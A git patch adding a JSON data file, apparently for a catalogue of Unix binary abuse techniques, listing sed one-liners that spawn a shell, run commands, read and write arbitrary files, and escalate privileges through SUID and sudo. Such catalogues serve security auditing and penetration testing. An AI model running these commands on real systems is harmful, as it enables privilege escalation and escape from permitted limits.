From 1b2a8f2b962aad9afc28cfa1f7e6b31e20ad0efd Mon Sep 17 00:00:00 2001 From: t0thkr1s Date: Fri, 10 Jan 2020 13:02:22 +0100 Subject: [PATCH] add data for sed --- data/sed.json | 41 +++++++++++++++++++++++++++++++++++++++++ 1 file changed, 41 insertions(+) create mode 100644 data/sed.json diff --git a/data/sed.json b/data/sed.json new file mode 100644 index 0000000..2872c3d --- /dev/null +++ b/data/sed.json @@ -0,0 +1,41 @@ +{ + "functions": { + "shell": [ + { + "description": "GNU version only. Also, this requires 'bash'.", + "code": "sed -n '1e exec sh 1>&0' /etc/hosts" + }, + { + "description": "GNU version only. The resulting shell is not a proper TTY shell.", + "code": "sed e" + } + ], + "command": [ + { + "description": "GNU version only.", + "code": "sed -n '1e id' /etc/hosts" + } + ], + "file-write": [ + { + "code": "sed -n \"1s/.*/DATA/w [file]\" /etc/hosts\n" + } + ], + "file-read": [ + { + "code": "sed '' [file]\n" + } + ], + "suid": [ + { + "code": "./sed -e '' [file]\n" + } + ], + "sudo": [ + { + "description": "GNU version only. Also, this requires `bash`.", + "code": "sudo sed -n '1e exec sh 1>&0' /etc/hosts" + } + ] + } +} \ No newline at end of file